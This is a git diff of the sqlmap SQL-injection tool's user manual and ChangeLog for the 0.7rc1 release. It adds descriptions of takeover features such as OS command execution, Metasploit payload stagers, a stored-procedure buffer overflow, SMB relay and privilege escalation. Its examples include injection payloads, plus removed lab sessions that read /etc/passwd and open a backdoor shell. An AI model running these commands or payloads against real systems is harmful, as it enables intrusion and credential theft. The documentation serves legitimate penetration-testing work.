diff --git a/doc/AUTHORS b/doc/AUTHORS index b534c3e1f..262251555 100644 --- a/doc/AUTHORS +++ b/doc/AUTHORS @@ -1,7 +1,3 @@ -Bernardo Damele A. G. (inquis) - project leader, core developer +Bernardo Damele A. G. (inquis) - Lead developer -PGP Key ID: 0x05F5A30F - -Daniele Bellucci (belch) - project founder, initial developer - -PGP Key ID: 0x9A0E8190 +PGP Key ID: 0x05F5A30F diff --git a/doc/ChangeLog b/doc/ChangeLog index 1e7d3e2aa..84a32f391 100644 --- a/doc/ChangeLog +++ b/doc/ChangeLog @@ -1,10 +1,34 @@ -sqlmap (0.6.5-1) stable; urgency=low +sqlmap (0.7rc1-1) stable; urgency=low + * Added support to execute arbitrary commands on the database server + underlying operating system either returning the standard output or not + via UDF injection on MySQL and PostgreSQL and via xp_cmdshell() stored + procedure on Microsoft SQL Server; + * Added support for out-of-band connection between the attacker box and + the database server underlying operating system via stand-alone payload + stager created by Metasploit and supporting Meterpreter, shell and VNC + payloads for both Windows and Linux; + * Added support for out-of-band connection via Microsoft SQL Server 2000 + and 2005 'sp_replwritetovarbin' stored procedure heap-based buffer + overflow (MS09-004) exploitation with multi-stage Metasploit payload + support; + * Added support for out-of-band connection via SMB reflection attack with + UNC path request from the database server to the attacker box by using + the Metasploit smb_relay exploit; + * Added support to read and write (upload) both text and binary files on + the database server underlying file system for MySQL, PostgreSQL and + Microsoft SQL Server; + * Added database process' user privilege escalation via Windows Access + Tokens kidnapping on MySQL and Microsoft SQL Server via either + Meterpreter's incognito extension or Churrasco stand-alone executable; + * Speed up the inference algorithm by providing the minimum required + charset for the query output; * Major bug fix in the comparison algorithm to correctly handle also the case that the url is stable and the False response changes the page - content very little. + content very little; + * Many minor bug fixes, minor enhancements and layout adjustments. - -- Bernardo Damele A. G. Day, DD MMM 2009 HH:MM:SS +0000 + -- Bernardo Damele A. G. Wed, 22 Apr 2009 10:30:00 +0000 sqlmap (0.6.4-1) stable; urgency=low diff --git a/doc/README.html b/doc/README.html index 497abee0b..43f0bd3b7 100644 --- a/doc/README.html +++ b/doc/README.html @@ -8,7 +8,7 @@

sqlmap user's manual

by -Bernardo Damele A. G.

version 0.6.4, 3rd of February 2009 +Bernardo Damele A. G.version 0.7 release candidate 1, April 22, 2009
This document is the user's manual to use sqlmap. @@ -27,6 +27,11 @@ for the latest version.

2. Features

+

3. Download and update

@@ -52,7 +57,7 @@ for the latest version.

6. Disclaimer

-

7. Authors

+

7. Author


@@ -66,8 +71,12 @@ in web applications. Once it detects one or more SQL injections on the target host, the user can choose among a variety of options to perform an extensive back-end database management system fingerprint, retrieve DBMS session user and database, enumerate users, password hashes, privileges, -databases, dump entire or user's specific DBMS tables/columns, run his own -SQL statement, read specific files on the file system and more.

+databases, dump entire or user's specified DBMS tables/columns, run his own +SQL statement, read or write either text or binary files on the file +system, execute arbitrary commands on the operating system, establish an +out-of-band stateful connection between the attacker box and the database +server via Metasploit payload stager, database stored procedure buffer +overflow exploitation or SMB relay attack and more.

1.1 Requirements @@ -77,7 +86,7 @@ SQL statement, read specific files on the file system and more.

Python, a dynamic object-oriented interpreted programming language. This makes the tool independent from the operating system since it only -requires the Python interpreter version equal or above to 2.4. +requires the Python interpreter version equal or above to 2.5. The interpreter is freely downloadable from its official site. To make it even easier, many GNU/Linux distributions come out of the box @@ -85,6 +94,11 @@ with Python interpreter package installed and other Unices and MacOS X too provide it packaged in their formats and ready to be installed. Windows users can download and install the Python setup-ready installer for x86, AMD64 and Itanium too.

+

sqlmap relies on the +Metasploit Framework for some of its post-exploitation takeover +functionalities. You need to grab a copy of it from the +download +page. The required version is 3.2 or above.

Optionally, if you are running sqlmap on Windows, you may wish to install PyReadline library to be able to take advantage of the sqlmap TAB completion and @@ -187,10 +201,11 @@ in the following section to go ahead with the exploiting. vulnerability:

    -
  • Inferential blind SQL injection: sqlmap appends to the -affected parameter in the HTTP request, a syntatically valid SQL statement -string containing a SELECT sub-statement, or any other SQL -statement whose the user want to retrieve the output. +
  • Inferential blind SQL injection, also known as boolean +based blind SQL injection: sqlmap appends to the affected parameter in +the HTTP request, a syntatically valid SQL statement string containing a +SELECT sub-statement, or any other SQL statement whose the user +want to retrieve the output. For each HTTP response, by making a comparison based upon HTML page content hashes, or string matches, with the original request, the tool determines the output value of the statement character by character. @@ -198,21 +213,22 @@ The bisection algorithm implemented in sqlmap to perform this technique is able to fetch each output character with at maximum seven HTTP requests. This is sqlmap default SQL injection technique.
  • -
  • UNION query (inband) SQL injection, also known as Full +
  • UNION query (inband) SQL injection, also known as full UNION query SQL injection: sqlmap appends to the affected parameter in the HTTP request, a syntatically valid SQL statement string starting with a UNION ALL SELECT. This techique is useful if the web application page passes the output of the SELECT statement to a for cycle, or similar, so that each line of the query output is printed on the page content. -sqlmap is also able to exploit Partial UNION query SQL injection -vulnerabilities which occur when the output of the statement is not cycled -in a for construct whereas only the first entry output is displayed. +sqlmap is also able to exploit partial (single entry) UNION query SQL +injection vulnerabilities which occur when the output of the statement +is not cycled in a for construct whereas only the first entry output is +displayed. This technique is much faster if the target url is affected by because in a single HTTP response it returns the whole query output or a entry per each response within the page content. This SQL injection technique is an alternative to the first one.
  • -
  • Stacked queries support, also known as multiple +
  • Batched (stacked) queries support, also known as multiple statements support: sqlmap tests if the web application supports stacked queries then, in case it does support, it appends to the affected parameter in the HTTP request, a semi-colon (;) followed by the @@ -229,6 +245,11 @@ and the session user privileges.
  • 2. Features

    Major features implemented in sqlmap include:

    + + +

    2.1 Generic features +

    +

    • Full support for MySQL, Oracle, PostgreSQL @@ -238,31 +259,8 @@ identify Microsoft Access, DB2, Informix, Sybase and Interbase.
    • Full support for three SQL injection techniques: inferential blind SQL injection, UNION query (inband) SQL injection and -stacked queries (multiple statements) support. sqlmap can also -test for time based blind SQL injection. -
    • -
    • Extensive back-end database management system fingerprint -based upon -inband error messages, -banner parsing, -functions output comparison and -specific features -such as MySQL comment injection. It is also possible to force the back-end -database management system name if you already know it. sqlmap is also able -to fingerprint the web server operating system, the web application -technology and, in some circumstances, the back-end DBMS operating system. -
    • -
    • Options to retrieve on all four back-end database management system -banner, current user, current database, -enumerate users, users password hashes, users -privileges, databases, tables, columns, -dump tables entries, dump whole database management -system and run your own SQL statement. -
    • -
    • If the back-end database management system is MySQL it is also -possible to read a specific file content from the ile system and, -in some circumstances, prompt for an interactive operating system -shell with TAB completion and history support. +batched queries support. sqlmap can also test for time based +blind SQL injection.
    • It is possible to provide a single target URL, get the list of targets from @@ -331,10 +329,6 @@ save command line options on a configuration INI file. Metasploit and w3af.
    • -
    • File system read and write access and operating -system command execution by providing own queries, depending on the -session user privileges and back-end DBMS. -
    • PHP setting magic_quotes_gpc bypass by encoding every query string, between single quotes, with CHAR, or similar, database management system function.
    • @@ -342,32 +336,101 @@ database management system function.

      +

      2.2 Enumeration features +

      + +

      +

        +
      • Extensive back-end database management system software and +underlying operating system fingerprint +based upon +inband error messages, +banner parsing, +functions output comparison and +specific features +such as MySQL comment injection. It is also possible to force the back-end +database management system name if you already know it. sqlmap is also able +to fingerprint the web server operating system, the web application +technology and, in some circumstances, the back-end DBMS operating system. +
      • +
      • Basic web server software and web application technology fingerprint. +
      • +
      • Support to retrieve on all four back-end database management system +banner, current user, current database, check +if the current user is a database administrator, enumerate users, +users password hashes, users privileges, +databases, tables, columns, dump tables +entries, dump whole database management system and run user's +own SQL statement.
      • +
      +

      + +

      2.3 Takeover features +

      + +

      +

        +
      • Support to read either text or binary files from the +database server underlying file system when the database software is MySQL, +PostgreSQL and Microsoft SQL Server. +
      • +
      • Support to execute arbitrary commands on the database server +underlying operating system when the database software is MySQL, +PostgreSQL via user-defined function injection and Microsoft SQL Server via +xp_cmdshell() stored procedure. +
      • +
      • Support to establish an out-of-band stateful connection between +the attacker box and the database server underlying operating system +via: +
          +
        • Stand-alone payload stager created by Metasploit and +supporting Meterpreter, shell and VNC payloads for both Windows and Linux;
        • +
        • Microsoft SQL Server 2000 and 2005 sp_replwritetovarbin +stored procedure heap-based buffer overflow (MS09-004) exploitation +with multi-stage Metasploit payload support;
        • +
        • SMB reflection attack with UNC path request from the +database server to the attacker box by using the Metasploit +smb_relay exploit on the attacker box.
        • +
        + +
      • +
      • Support for database process' user privilege escalation via +Windows Access Tokens kidnapping on MySQL and Microsoft SQL Server via +either Meterpreter's incognito extension or Churrasco +stand-alone executable.
      • +
      +

      +

      3. Download and update

      +

      sqlmap 0.7 release candidate 1 version can be downloaded as a +source gzip compressed file or as a +source zip compressed file.

      +

      sqlmap can be downloaded from its SourceForge File List page. It is available in various formats:

      @@ -405,8 +468,8 @@ and
       $ python sqlmap.py -h
       
      -    sqlmap/0.6.4 coded by Bernardo Damele A. G. <bernardo.damele@gmail.com>
      -                      and Daniele Bellucci <daniele.bellucci@gmail.com>
      +    sqlmap/0.7rc1
      +    by Bernardo Damele A. G. <bernardo.damele@gmail.com>
           
       Usage: sqlmap.py [options]
       
      @@ -427,19 +490,20 @@ Options:
         Request:
           These options can be used to specify how to connect to the target url.
       
      -    --method=METHOD     HTTP method, GET or POST (default: GET)
      +    --method=METHOD     HTTP method, GET or POST (default GET)
           --data=DATA         Data string to be sent through POST
           --cookie=COOKIE     HTTP Cookie header
           --referer=REFERER   HTTP Referer header
           --user-agent=AGENT  HTTP User-Agent header
           -a USERAGENTSFILE   Load a random HTTP User-Agent header from file
      -    --headers=HEADERS   Extra HTTP headers '\n' separated
      -    --auth-type=ATYPE   HTTP Authentication type, value: Basic or Digest
      -    --auth-cred=ACRED   HTTP Authentication credentials, value: name:password
      +    --headers=HEADERS   Extra HTTP headers newline separated
      +    --auth-type=ATYPE   HTTP Authentication type (value Basic or Digest)
      +    --auth-cred=ACRED   HTTP Authentication credentials (value name:password)
           --proxy=PROXY       Use a HTTP proxy to connect to the target url
           --threads=THREADS   Maximum number of concurrent HTTP requests (default 1)
           --delay=DELAY       Delay in seconds between each HTTP request
           --timeout=TIMEOUT   Seconds to wait before timeout connection (default 30)
      +    --retries=RETRIES   Retries when the connection timeouts (default 3)
       
         Injection:
           These options can be used to specify which parameters to test for,
      @@ -448,13 +512,13 @@ Options:
       
           -p TESTPARAMETER    Testable parameter(s)
           --dbms=DBMS         Force back-end DBMS to this value
      +    --os=OS             Force back-end DBMS operating system to this value
           --prefix=PREFIX     Injection payload prefix string
           --postfix=POSTFIX   Injection payload postfix string
           --string=STRING     String to match in page when the query is valid
           --regexp=REGEXP     Regexp to match in page when the query is valid
      -    --excl-str=ESTRING  String to be excluded before calculating page hash
      -    --excl-reg=EREGEXP  Regexp matches to be excluded before calculating page
      -                        hash
      +    --excl-str=ESTRING  String to be excluded before comparing page contents
      +    --excl-reg=EREGEXP  Matches to be excluded before comparing page contents
       
         Techniques:
           These options can be used to test for specific SQL injection technique
      @@ -463,6 +527,7 @@ Options:
       
           --stacked-test      Test for stacked queries (multiple statements) support
           --time-test         Test for time based blind SQL injection
      +    --time-sec=TIMESEC  Seconds to delay the DBMS response (default 5)
           --union-test        Test for UNION query (inband) SQL injection
           --union-tech=UTECH  Technique to test for UNION query SQL injection
           --union-use         Use the UNION query (inband) SQL injection to retrieve
      @@ -481,13 +546,13 @@ Options:
           --current-db        Retrieve DBMS current database
           --is-dba            Detect if the DBMS current user is DBA
           --users             Enumerate DBMS users
      -    --passwords         Enumerate DBMS users password hashes (opt: -U)
      -    --privileges        Enumerate DBMS users privileges (opt: -U)
      +    --passwords         Enumerate DBMS users password hashes (opt -U)
      +    --privileges        Enumerate DBMS users privileges (opt -U)
           --dbs               Enumerate DBMS databases
      -    --tables            Enumerate DBMS database tables (opt: -D)
      -    --columns           Enumerate DBMS database table columns (req:-T opt:-D)
      -    --dump              Dump DBMS database table entries (req: -T, opt: -D,
      -                        -C, --start, --stop)
      +    --tables            Enumerate DBMS database tables (opt -D)
      +    --columns           Enumerate DBMS database table columns (req -T opt -D)
      +    --dump              Dump DBMS database table entries (req -T, opt -D, -C,
      +                        --start, --stop)
           --dump-all          Dump all DBMS databases tables entries
           -D DB               DBMS database to enumerate
           -T TBL              DBMS database table to enumerate
      @@ -501,28 +566,32 @@ Options:
       
         File system access:
           These options can be used to access the back-end database management
      -    system file system taking advantage of native DBMS functions or
      -    specific DBMS design weaknesses.
      +    system underlying file system.
       
      -    --read-file=RFILE   Read a specific OS file content (only on MySQL)
      -    --write-file=WFILE  Write to a specific OS file (not yet available)
      +    --read-file=RFILE   Read a file from the back-end DBMS file system
      +    --write-file=WFILE  Write a local file on the back-end DBMS file system
      +    --dest-file=DFILE   Back-end DBMS absolute filepath to write to
       
         Operating system access:
           This option can be used to access the back-end database management
      -    system operating system taking advantage of specific DBMS design
      -    weaknesses.
      +    system underlying operating system.
       
      -    --os-shell          Prompt for an interactive OS shell (only on PHP/MySQL
      -                        environment with a writable directory within the web
      -                        server document root for the moment)
      +    --os-cmd=OSCMD      Execute an operating system command
      +    --os-shell          Prompt for an interactive operating system shell
      +    --os-pwn            Prompt for an out-of-band shell, meterpreter or VNC
      +    --os-smbrelay       One click prompt for an OOB shell, meterpreter or VNC
      +    --os-bof            Stored procedure buffer overflow exploitation
      +    --priv-esc          User priv escalation by abusing Windows access tokens
      +    --msf-path=MSFPATH  Local path where Metasploit Framework 3 is installed
      +    --tmp-path=TMPPATH  Remote absolute path of temporary files directory
       
         Miscellaneous:
      -    --eta               Retrieve each query output length and calculate the
      -                        estimated time of arrival in real time
      +    --eta               Display for each output the estimated time of arrival
           --update            Update sqlmap to the latest stable version
           -s SESSIONFILE      Save and resume all data retrieved on a session file
           --save              Save options on a configuration INI file
           --batch             Never ask for user input, use the default behaviour
      +    --cleanup           Clean up the DBMS by sqlmap specific UDF and tables
       

      @@ -624,7 +693,7 @@ Host: 192.168.1.121:80 Accept-language: en-us,en;q=0.5 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8, image/png,*/*;q=0.5 -User-agent: sqlmap/0.6.4 (http://sqlmap.sourceforge.net) +User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net) Connection: close [...] [hh:mm:55] [INFO] testing MySQL @@ -637,7 +706,7 @@ Host: 192.168.1.121:80 Accept-language: en-us,en;q=0.5 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8, image/png,*/*;q=0.5 -User-agent: sqlmap/0.6.4 (http://sqlmap.sourceforge.net) +User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net) Connection: close [...] @@ -659,7 +728,7 @@ Host: 192.168.1.121:80 Accept-language: en-us,en;q=0.5 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8, image/png,*/*;q=0.5 -User-agent: sqlmap/0.6.4 (http://sqlmap.sourceforge.net) +User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net) Connection: close [hh:mm:44] [TRAFFIC IN] HTTP response (OK - 200): @@ -680,7 +749,7 @@ Host: 192.168.1.121:80 Accept-language: en-us,en;q=0.5 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8, image/png,*/*;q=0.5 -User-agent: sqlmap/0.6.4 (http://sqlmap.sourceforge.net) +User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net) Connection: close [...] @@ -702,7 +771,7 @@ Host: 192.168.1.121:80 Accept-language: en-us,en;q=0.5 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8, image/png,*/*;q=0.5 -User-agent: sqlmap/0.6.4 (http://sqlmap.sourceforge.net) +User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net) Connection: close [hh:mm:17] [TRAFFIC IN] HTTP response (OK - 200): @@ -730,7 +799,7 @@ Host: 192.168.1.121:80 Accept-language: en-us,en;q=0.5 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8, image/png,*/*;q=0.5 -User-agent: sqlmap/0.6.4 (http://sqlmap.sourceforge.net) +User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net) Connection: close [hh:mm:18] [TRAFFIC IN] HTTP response (OK - 200): @@ -1041,7 +1110,7 @@ Host: 192.168.1.125:80 Accept-language: en-us,en;q=0.5 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8, image/png,*/*;q=0.5 -User-agent: sqlmap/0.6.4 (http://sqlmap.sourceforge.net) +User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net) Cookie: ASPSESSIONIDSABTRCAS=HPCBGONANJBGFJFHGOKDMCGJ Connection: close @@ -1057,7 +1126,7 @@ Accept-language: en-us,en;q=0.5 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8, image/png,*/*;q=0.5 Cookie: ASPSESSIONIDSABTRCAS=469 -User-agent: sqlmap/0.6.4 (http://sqlmap.sourceforge.net) +User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net) Connection: close [hh:mm:40] [WARNING] Cookie parameter 'ASPSESSIONIDSABTRCAS' is not dynamic @@ -1109,7 +1178,7 @@ Accept-language: en-us,en;q=0.5 Referer: http://www.google.com Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8, image/png,*/*;q=0.5 -User-agent: sqlmap/0.6.4 (http://sqlmap.sourceforge.net) +User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net) Connection: close [...] @@ -1126,7 +1195,7 @@ Connection: close

      -sqlmap/0.6.4 (http://sqlmap.sourceforge.net)
      +sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)
       

      @@ -1248,7 +1317,7 @@ Accept-language: en-us,en;q=0.5 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8, image/png,*/*;q=0.5 Authorization: Basic dGVzdHVzZXI6dGVzdHBhc3M= -User-agent: sqlmap/0.6.4 (http://sqlmap.sourceforge.net) +User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net) Connection: close [...] @@ -1269,7 +1338,7 @@ Authorization: Digest username="testuser", realm="Testing digest authentication" nonce="Qw52C8RdBAA=2d7eb362292b24718dcb6e4d9a7bf0f13d58fa9d", uri="/sqlmap/mysql/digest/get_int.php?id=1", response="16d01b08ff2f77d8ff0183d706f96747", algorithm="MD5", qop=auth, nc=00000001, cnonce="579be5eb8753693a" -User-agent: sqlmap/0.6.4 (http://sqlmap.sourceforge.net) +User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net) Connection: close [...] @@ -1384,6 +1453,14 @@ the HTTP request timed out. The valid value is a float, for instance 10.5 means ten seconds and a half.

      +

      Maximum number of retries when the HTTP connection timeouts

      + +

      Option: --retries

      + +

      It is possible to specify the maximum number of retries when the HTTP +connection timeouts. By default it retries up to three times.

      + +

      5.4 Injection

      @@ -1442,7 +1519,7 @@ $ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&ca
       $ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/ua_str.php" -v 1 \
      -  -p "user-agent" --user-agent "sqlmap/0.6.4 (http://sqlmap.sourceforge.net)"
      +  -p "user-agent" --user-agent "sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)"
       
       [hh:mm:40] [WARNING] the testable parameter 'user-agent' you provided is not into the GET
       [hh:mm:40] [INFO] testing connection to the target url
      @@ -1526,6 +1603,30 @@ back-end database management system. If you do not know it, let sqlmap
       automatically identify it for you.

      +

      Force the database management system operating system name

      + +

      Option: --os

      + +

      By default sqlmap automatically detects the web application's back-end +database manangement system underlying operating system when requested by +any other functionality. +At the moment the fully supported operating systems are two:

      +

      +

        +
      • Linux
      • +
      • Windows
      • +
      +

      + +

      It is possible to force the operating system name if you already know it so +that sqlmap will skip the fingerprint.

      + +

      Note that this option is not mandatory and it is strongly +recommended to use it only if you are absolutely sure about the +back-end database management system underlying operating system. If you do +not know it, let sqlmap automatically identify it for you.

      + +

      Custom injection payload

      Options: --prefix and --postfix

      @@ -1556,7 +1657,7 @@ Host: 192.168.1.121:80 Accept-language: en-us,en;q=0.5 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8, image/png,*/*;q=0.5 -User-agent: sqlmap/0.6.4 (http://sqlmap.sourceforge.net) +User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net) Connection: close [...] [hh:mm:17] [INFO] GET parameter 'id' is custom injectable @@ -1633,7 +1734,7 @@ $ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int_refresh.php?id= [hh:mm:50] [TRAFFIC OUT] HTTP request: GET /sqlmap/mysql/get_int_refresh.php?id=1 HTTP/1.1 Host: 192.168.1.121:80 -User-agent: sqlmap/0.6.4 (http://sqlmap.sourceforge.net) +User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net) Connection: close [hh:mm:50] [TRAFFIC IN] HTTP response (OK - 200): @@ -1655,7 +1756,7 @@ Content-Type: text/html [hh:mm:51] [TRAFFIC OUT] HTTP request: GET /sqlmap/mysql/get_int_refresh.php?id=1 HTTP/1.1 Host: 192.168.1.121:80 -User-agent: sqlmap/0.6.4 (http://sqlmap.sourceforge.net) +User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net) Connection: close [hh:mm:51] [TRAFFIC IN] HTTP response (OK - 200): @@ -1677,7 +1778,7 @@ Content-Type: text/html [hh:mm:51] [TRAFFIC OUT] HTTP request: GET /sqlmap/mysql/get_int_refresh.php?id=1 HTTP/1.1 Host: 192.168.1.121:80 -User-agent: sqlmap/0.6.4 (http://sqlmap.sourceforge.net) +User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net) Connection: close [hh:mm:51] [TRAFFIC IN] HTTP response (OK - 200): @@ -1888,9 +1989,9 @@ stacked queries support: 'name=luther'; WAITFOR DELAY '0:0:5';-- AND 'wRcBC'=

      Test for time based blind SQL injection

      -

      Option: --time-test

      +

      Options: --time-test and --time-sec

      -

      It is possible to test if the target URL is affected by a Time based +

      It is possible to test if the target URL is affected by a time based blind SQL injection vulnerability.

      Example on a MySQL 5.0.67 target:

      @@ -1959,6 +2060,10 @@ time based blind sql injection payload: 'name=luther'; WAITFOR DELAY '0:0:5';

      +

      It is also possible to set the seconds to delay the response by providing +the --time-sec option followed by an integer. By default it delays +five seconds.

      +

      Test for UNION query SQL injection

      @@ -2104,7 +2209,7 @@ Host: 192.168.1.121:80 Accept-language: en-us,en;q=0.5 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8, image/png,*/*;q=0.5 -User-agent: sqlmap/0.6.4 (http://sqlmap.sourceforge.net) +User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net) Connection: close [hh:mm:29] [TRAFFIC IN] HTTP response (OK - 200): @@ -3215,7 +3320,7 @@ Table: users | 1 | luther | blissett | | 2 | fluffy | bunny | | 3 | wu | ming | -| 4 | sqlmap/0.6.4 (http://sqlmap.sourceforge.net) | user agent header | +| 4 | sqlmap/0.7rc1 (http://sqlmap.sourceforge.net) | user agent header | | 5 | NULL | nameisnull | +----+----------------------------------------------+-------------------+ @@ -3269,7 +3374,7 @@ Table: users | 1 | luther | blissett | | 2 | fluffy | bunny | | 3 | wu | ming | -| 4 | sqlmap/0.6.4 (http://sqlmap.sourceforge.net) | user agent header | +| 4 | sqlmap/0.7rc1 (http://sqlmap.sourceforge.net) | user agent header | | 5 | | nameisnull | +----+----------------------------------------------+-------------------+ @@ -3282,7 +3387,7 @@ $ cat /software/sqlmap/output/192.168.1.121/dump/public/users.csv "1","luther","blissett" "2","fluffy","bunny" "3","wu","ming" -"4","sqlmap/0.6.4 (http://sqlmap.sourceforge.net)","user agent header" +"4","sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)","user agent header" "5","","nameisnull" @@ -3312,7 +3417,7 @@ Table: users +----+----------------------------------------------+-------------------+ | 2 | fluffy | bunny | | 3 | wu | ming | -| 4 | sqlmap/0.6.4 (http://sqlmap.sourceforge.net) | user agent header | +| 4 | sqlmap/0.7rc1 (http://sqlmap.sourceforge.net) | user agent header | +----+----------------------------------------------+-------------------+ @@ -3343,7 +3448,7 @@ Table: users | 1 | luther | blissett | | 2 | fluffy | bunny | | 3 | wu | ming | -| 4 | sqlmap/0.6.4 (http://sqlmap.sourceforge.net) | user agent header | +| 4 | sqlmap/0.7rc1 (http://sqlmap.sourceforge.net) | user agent header | | 5 | NULL | nameisnull | +----+----------------------------------------------+-------------------+ @@ -3433,7 +3538,7 @@ Table: users +----+----------------------------------------------+-------------------+ | id | name | surname | +----+----------------------------------------------+-------------------+ -| 4 | sqlmap/0.6.4 (http://sqlmap.sourceforge.net) | user agent header | +| 4 | sqlmap/0.7rc1 (http://sqlmap.sourceforge.net) | user agent header | | 2 | fluffy | bunny | | 1 | luther | blisset | | 3 | wu | ming | @@ -3839,83 +3944,63 @@ support when the back-end DBMS is PostgreSQL.

      5.8 File system access

      -

      Read a specific file content

      +

      Read a file from the back-end DBMS file system

      Option: --read-file

      -

      If the back-end database management system is MySQL and the current user -has FILE access (access to LOAD_FILE() builtin function), -it is possible to read the content of a specific file from the file system.

      +

      This paragraph will be written for sqlmap 0.7 stable version, refer to the white paper +Advanced SQL injection to operating system full control for the moment.

      -

      Example on a MySQL 5.0.67 target:

      -

      -

      -
      -$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" \
      -  --read-file /etc/passwd -v 0
       
      -/etc/passwd:
      ----
      -root:x:0:0:root:/root:/bin/bash
      -daemon:x:1:1:daemon:/usr/sbin:/bin/sh
      -bin:x:2:2:bin:/bin:/bin/sh
      -sys:x:3:3:sys:/dev:/bin/sh
      -sync:x:4:65534:sync:/bin:/bin/sync
      -games:x:5:60:games:/usr/games:/bin/sh
      -man:x:6:12:man:/var/cache/man:/bin/sh
      -lp:x:7:7:lp:/var/spool/lpd:/bin/sh
      -mail:x:8:8:mail:/var/mail:/bin/sh
      -news:x:9:9:news:/var/spool/news:/bin/sh
      -uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
      -proxy:x:13:13:proxy:/bin:/bin/sh
      -www-data:x:33:33:www-data:/var/www:/bin/false
      -backup:x:34:34:backup:/var/backups:/bin/sh
      -nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
      -mysql:x:104:105:MySQL Server,,,:/var/lib/mysql:/bin/false
      -postgres:x:105:107:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
      -inquis:x:1000:100:Bernardo Damele A. G.,,,:/home/inquis:/bin/bash
      ----
      -
      -
      -

      +

      Write a local file on the back-end DBMS file system

      + +

      Options: --write-file and --dest-file

      + +

      This paragraph will be written for sqlmap 0.7 stable version, refer to the white paper +Advanced SQL injection to operating system full control for the moment.

      5.9 Operating system access

      +

      Execute an operating system command

      + +

      Option: --os-cmd

      + +

      This paragraph will be written for sqlmap 0.7 stable version, refer to the white paper +Advanced SQL injection to operating system full control for the moment.

      + +

      Prompt for an interactive operating system shell

      Option: --os-shell

      -

      If the back-end database management system is MySQL, the web application's -programming language is PHP and you, or sqlmap itself, found a writable -directory within the web server document root path, sqlmap can prompt for -an interactive operating system shell on the back-end database management -system.

      +

      This paragraph will be written for sqlmap 0.7 stable version, refer to the white paper +Advanced SQL injection to operating system full control for the moment.

      -

      Example on a MySQL 5.0.67 target:

      -

      -

      -
      -$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" \
      -  --os-shell -v 0
       
      -[hh:mm:49] [WARNING] unable to retrieve the injectable file absolute system path
      -[hh:mm:49] [WARNING] unable to retrieve the remote web server document root
      -[hh:mm:49] [INPUT] please provide the web server document root [/var/www]: 
      -[hh:mm:53] [INPUT] please provide a list of directories absolute path comma separated that 
      -you want sqlmap to try to upload the agent [/var/www/test]: 
      -[hh:mm:55] [INPUT] do you want to use the uploaded backdoor as a shell to execute commands 
      -right now? [Y/n] y
      -$ id
      -uid=33(www-data) gid=33(www-data) groups=33(www-data)
      -$ exit
      -
      -
      -

      +

      Prompt for an out-of-band shell, meterpreter or VNC

      -

      As you might notice, such operating system shell has the same -functionalities of SQL shell in terms of TAB completion and history support.

      +

      Options: --os-pwn, --priv-esc, --msf-path and --tmp-path

      + +

      This paragraph will be written for sqlmap 0.7 stable version, refer to the white paper +Advanced SQL injection to operating system full control for the moment.

      + + +

      One click prompt for an out-of-band shell, meterpreter or VNC

      + +

      Options: --os-smbrelay, --priv-esc and --msf-path

      + +

      This paragraph will be written for sqlmap 0.7 stable version, refer to the white paper +Advanced SQL injection to operating system full control for the moment.

      + + +

      Stored procedure buffer overflow exploitation

      + +

      Options: --os-bof, --priv-esc and --msf-path

      + +

      This paragraph will be written for sqlmap 0.7 stable version, refer to the white paper +Advanced SQL injection to operating system full control for the moment.

